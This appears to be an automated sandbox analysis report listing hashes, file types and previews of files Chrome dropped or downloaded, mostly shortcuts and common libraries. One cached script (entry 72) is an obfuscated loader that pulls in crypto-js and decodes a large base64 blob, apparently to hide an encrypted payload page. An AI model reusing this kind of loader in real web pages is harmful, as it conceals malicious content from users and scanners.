.F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Feb 19 18:43:20 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.9979681585829296
Encrypted:	false
SSDEEP:	48:8kdqTWCmHdidAKZdA1seh/iZUkAQkqehZy+2:8ZX69QQy
MD5:	BBF2DD655A207B16BD22F724F3CA8423
SHA1:	C674E0EFBFBF419F958EA9E55E1DA887E76D8168
SHA-256:	7AF3D46C7EE9F015A86965E4AE84E0699780B05D1508F584325FFBC02E5FE4FB
SHA-512:	DD934033347A551710975881D7A9E567CC032FFFF36065060349D1CC572BB27499191F15D9DDB51FB2F9A85EC659C6A091A24FBE31E996865361F34058C920EC
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......Y.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.ISZb.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VSZi.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VSZi.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VSZi............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VSZk............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............S.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.004327295477966
Encrypted:	false
SSDEEP:	48:8cdqTWCAHdidAKZdA14meh7sFiZUkmgqeh7sny+BX:8xXEn1y
MD5:	B9AD13B86FB41053026DE5ED7F8503CB
SHA1:	D0AF56F792573962C6460D8920255B20FFEB0F9D
SHA-256:	937895332E476EB633C001C8743AEA0C194CE71FD413E1BA7E9FEAF03764349C
SHA-512:	4124FB74C24693F4697BCDB4002BB867C5D6442F06757189C941352A9EF8DA0437A95784EC9877D5DE8FDE86A01FFCBF85320B13FC3C285C57CB1C28CED12ED1
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.ISZb.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VSZi.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VSZi.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VSZi............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............S.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Feb 19 18:43:20 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9928613328225335
Encrypted:	false
SSDEEP:	48:8LdqTWCmHdidAKZdA1TehDiZUkwqehNy+R:84Xx/y
MD5:	B681397C8148DEC91AFB4D0F2A0CCAF7
SHA1:	D822B4493D57DFB03B02B21B5098A7E721A85D68
SHA-256:	7B05567A57C15813B19F0AAD6FFE76107C52869E2A5CCE16F66AFB76A45578B6
SHA-512:	6E2A4AF3CAEC2BA592FD2A033D25E590E5771C1F822952C0BE064D02FE436D8C3FFDEADC2B46791C85E54ED6895FFF4591444367543C730BC6B1EE256443DDBB
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....N.S.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.ISZb.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VSZi.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VSZi.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VSZi............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VSZk............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............S.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Feb 19 18:43:20 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9809947779470587
Encrypted:	false
SSDEEP:	48:8pdqTWCmHdidAKZdA1dehBiZUk1W1qehDy+C:8OXx9jy
MD5:	EC32ED832DD407C202D8FA6228136680
SHA1:	C14BEF7F8379F601842750ED75A62B7D77B39E70
SHA-256:	A06C2A1477EE95F69FE359D3247DE042C7A953279E0F83B06A04961604EA2CCA
SHA-512:	4992EB119AE7D11F90318E1EAA2CF682DF45F072CD85CE91F215868BF9001E677A5B457548D7AA505E38B9558842E4AA79636CB71E57A10E95E2C039D48A8CFA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....D`.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.ISZb.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VSZi.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VSZi.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VSZi............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VSZk............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............S.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Feb 19 18:43:20 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.99494751352901
Encrypted:	false
SSDEEP:	48:8YEdqTWCmHdidAKZdA1duTeehOuTbbiZUk5OjqehOuTb1y+yT+:8sXZTfTbxWOvTb1y7T
MD5:	46BDA2C7041B3B2C3110AA8F5712D801
SHA1:	A4F2C618DA1F9244FC9ECD989C3322CD9E282FF6
SHA-256:	BC0B0E8EA58D645C390D544500223C6E8BB3BB5A905279BBE8AC125863B0E285
SHA-512:	76E9A88B4EC9C9CE84D69E1C04959E9144245EC9F60EC2C5CB8F87FB1483CBFF9D2E45874C4F444A2FB17B933C8276F2A0D356733282BD940EAAB653C4214A9D
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......K.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.ISZb.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VSZi.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VSZi.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VSZi............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VSZk............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............S.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	high, very likely benign file
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 21444, version 1.0
Category:	downloaded
Size (bytes):	21444
Entropy (8bit):	7.990871977021031
Encrypted:	true
SSDEEP:	384:8cEHB0MPPblbQ3jOYVdSj2WvnrFnimhmA4sC1ad7RNwAwEMwdz12N/:LEv5QKYanrFtm8d7Rbwyo/
MD5:	FFD3D57638A7899D80BCC108713C271C
SHA1:	D186409EE24FC3D1CC8194434DD707181EAD20EC
SHA-256:	99027D866818F716D208569108A962AC72200197CAE503EFE5B6BF002BF4915B
SHA-512:	7305C344CD8F954929314F3B5C9B996638E57D5F142A327DDC9F42F592880EA30B5102C73EE0E296BB3C4FC21D9FCE5D862A492B4BC1127BA2C79C4DEF527C62
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://fonts.gstatic.com/s/oswald/v53/TK3IWkUHHAIjg75cFRf3bXL8LICs1_Fv40pKlN4NNSeSASz7FmlWHYg.woff2
Preview:	wOF2......S........P..ST..........................q..f..b?HVAR...`?STATX'..../D....(.N..d.0...6.$..D. ...........%..............B....6.@3....IND&..H...=.10.]....>.A,a.a8,\.K.0..+.....V..n...\.E...C._(T8..-1..n]....g;1.D.r.0.$3.adra)..<.r.#..YX.;....C(.....#a1.g.8Q......v.\|.d'O......tF..@;.KKig1...?.rSM#...)..!@.-"`dcd#R..1.!T;...u.\|.....K...NY.........q..YW...Q..`<..h...........^...'...4..~(..J\.z.....}?.f.C.....~ hB.TB.}.{.Vm..8....m/C..L.......`PH..M1....5m........R.nH.$GYX `.&...9.WY...%&~..]..$X!..-..E&U.B.....Z'n......K...,.......h/.].4m^o8.P.....-.k.....l.z. .(.%K.P....0.].Y].9M@Y.na.Yt...wJ.+.oy$J.......=%'\|..$IT.%H.Bt......\|H#...j..G...@p...B..../u...d............Y.......C..G..M.....6....X..VT..'W.2.6[.R...Z{._L1;.!~.......xZ\..-.L._....JG;W..L........8-.i.....\|.%E..PX......CH....A.%y....9..E..ukWv.+]........t.3..d\|..m>...L..e7.fUU.+kd.....W;.o`.x..!.1{Ld...U.../D..T..u.B6Y..H..r.U...3s.....&.F.my@......T.~...y...4D<..5.o.f/..

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1325), with CRLF line terminators
Category:	dropped
Size (bytes):	1964
Entropy (8bit):	5.961231743598801
Encrypted:	false
SSDEEP:	24:AuH8fzBptXSQn3NQmm6WVFANRpt7o6xEIoCK7J77GIuXTv2rdeTUm3ShyQr5Tlpo:U7bEOMB6xY7oJbEde9iyAFuIj7rmoI
MD5:	BAF3F15D0504AD231E5A35DD12130C6D
SHA1:	6D84DCE63C827BDA8E09AAA4C87FC7121DBD00B1
SHA-256:	4453F9861ED7DD5FF31D93E19D54CBB3F8EC4C2A136228676F6D38B8564F6908
SHA-512:	B7F7E53D68F2ECFF2482CA359492D564322D0CF491E423E844663F3ABA881E849FCC678FBF37280E20374DE64DBA6932B69CBF144846356BD4D03077016D0D2B
Malicious:	false
Preview:	var TUatCSpxKlGtUdTj = document.createElement("script");..TUatCSpxKlGtUdTj.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");..document.head.append(TUatCSpxKlGtUdTj);..TUatCSpxKlGtUdTj.onload=function(){..var {a,b,c,d} = JSON.parse(atob("eyJhIjoic3VzdURoQ3lYUVZqK3hnclVqd0RyVTZcL1hjMzU2UzFwSUhuWkhyelRFV2twelo5Tk5PcXdwVUJ3NjlKNHBkNUhub1wvRG1PTHo5dHY2R1BvSWhpUVEyRkhCcmhuanNNczJqWGloeW51dXNWRFwvcXJPalNIUWZranRkREhZVnNTUm9uWTJscXJzVTJMQzMwUnpTZEVNTm03ZjB3XC9DTVE5SnlxY2s1Zk00ajAweWY0OUVCXC9wT2pqNmNPY25weVZZNDdPZG5ibkJIQVdwams5UUIxYkgxclhicWJCRlorMGVha3M1RVhNM0EyKzJmWG43Z1FcL2JFRVJZS3drVjdVcHBmK0oxbGZ0Zkt5Mk4yaDV1SHBjTHliTUlcL0tlZFZTN3VZUkc2aURjV1dyWUptTHJFMnBJcm9nNnNseFVURmZCS2s2TGJtM3ExcDBlWWlNRmtaamd0V05tVzF5S25tZ0FYREFsU043V1VcL0ZoOEtYVytkdlArUGhcL1hyMG9WTGFtTHdXOW4xTGZ1WCtCQTNGbmNhSlJ2ZU84YTI5cnZWVXh1ZCttS3k5WXR2WWF5Tk1FV2Y4OTAxQ3ZYc09JVEM4akRcL3V6aGx4eTRIdDh2TlFydU45RytFOUUyUE5LaU5Qc1wvcGtRRmttU2FyWEREZHRRU2x4UHVvakZYOTJ2MUV0WHFDdEN0cVZQTH

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48263)
Category:	downloaded
Size (bytes):	48264
Entropy (8bit):	5.400221703851042
Encrypted:	false
SSDEEP:	768:GHC+qxLCNuPhydZaR35KOJby4bmofHJ4zY5Z7Vt7jzEgVYMUsMePykWt/HKaN+Pf:GG2NuPhydZaR3gYe4bxeM5ZAsMe+thW7
MD5:	8BDE1466278EDBC80095065C0A8606B6
SHA1:	F99781A5A0FA1AE58218329F47C5163363B403D0
SHA-256:	5BBA95CD14598342C37B07F71259E8813BA6C1E856D0BED270105F50D88309D0
SHA-512:	97930A5AB263CE446278B035777E7D70A7DB85CD7CC3B2C6817C20BBEE2DAC9B6440223F17443994A80B6169624C1E6986832A39A1F05703ADAE4CA95F388345
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/g/0e3e6804b971/api.js
Preview:	"use strict";(function(){function Ht(e,t,n,o,c,l,g){try{var y=e[l](g),s=y.value}catch(p){n(p);return}y.done?t(s):Promise.resolve(s).then(o,c)}function jt(e){return function(){var t=this,n=arguments;return new Promise(function(o,c){var l=e.apply(t,n);function g(s){Ht(l,o,c,g,y,"next",s)}function y(s){Ht(l,o,c,g,y,"throw",s)}g(void 0)})}}function D(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):D(e,t)}function Ue(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function De(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Ue(e,c,n[c])})}return e}function Sr(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	dropped
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	downloaded
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1321), with CRLF line terminators
Category:	downloaded
Size (bytes):	1960
Entropy (8bit):	5.936437157870402
Encrypted:	false
SSDEEP:	24:xLluHBHfzBpZzXezKtCEUxRO/OuAz2KWHmzhrxb+AkR3/A0KuuiIeNpuK23uobli:xLm7b43E4O7HSni3Y0WzkuIqg
MD5:	30616B8A0588CE931B887154E313BF0D
SHA1:	C6338B57DEC85B147C87642C39EE7CEA63BDB554
